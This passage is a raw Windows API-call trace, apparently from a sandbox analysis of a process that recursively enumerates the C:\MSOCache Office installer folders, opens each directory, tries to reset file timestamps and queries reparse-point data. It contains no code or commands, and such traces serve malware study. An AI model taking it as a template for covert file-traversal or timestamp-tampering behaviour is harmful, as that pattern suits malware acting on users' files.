0x94f258 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5088 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d61d8 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d50a8 [0040.271] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d62e0 [0040.271] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.271] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.271] GetLastError () returned 0x12 [0040.271] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0040.271] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="")) returned 1 [0040.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="")) returned 1 [0040.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0040.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.272] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.272] GetLastError () returned 0x12 [0040.272] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5470) returned 1 [0040.272] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d5578) returned 1 [0040.273] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d4a38) returned 1 [0040.273] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.273] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.273] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.342] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0040.342] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.342] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.342] NtClose (Handle=0x160) returned 0x0 [0040.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.342] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.342] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.342] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0040.393] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.393] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0040.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.393] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d50c8 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6b80 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d50e8 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6c88 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5108 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6d90 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5128 [0040.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6e98 [0040.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.395] GetLastError () returned 0x12 [0040.395] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.395] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="")) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="")) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.395] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0040.395] GetLastError () returned 0x12 [0040.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0040.395] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0040.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0040.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0040.396] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0040.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.396] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0040.472] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0040.472] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0040.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0040.472] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0040.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0040.472] NtClose (Handle=0x15c) returned 0x0 [0040.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0040.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0040.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.472] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0040.472] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0040.472] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0040.472] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d5148 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6fa0 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0040.473] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0040.473] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 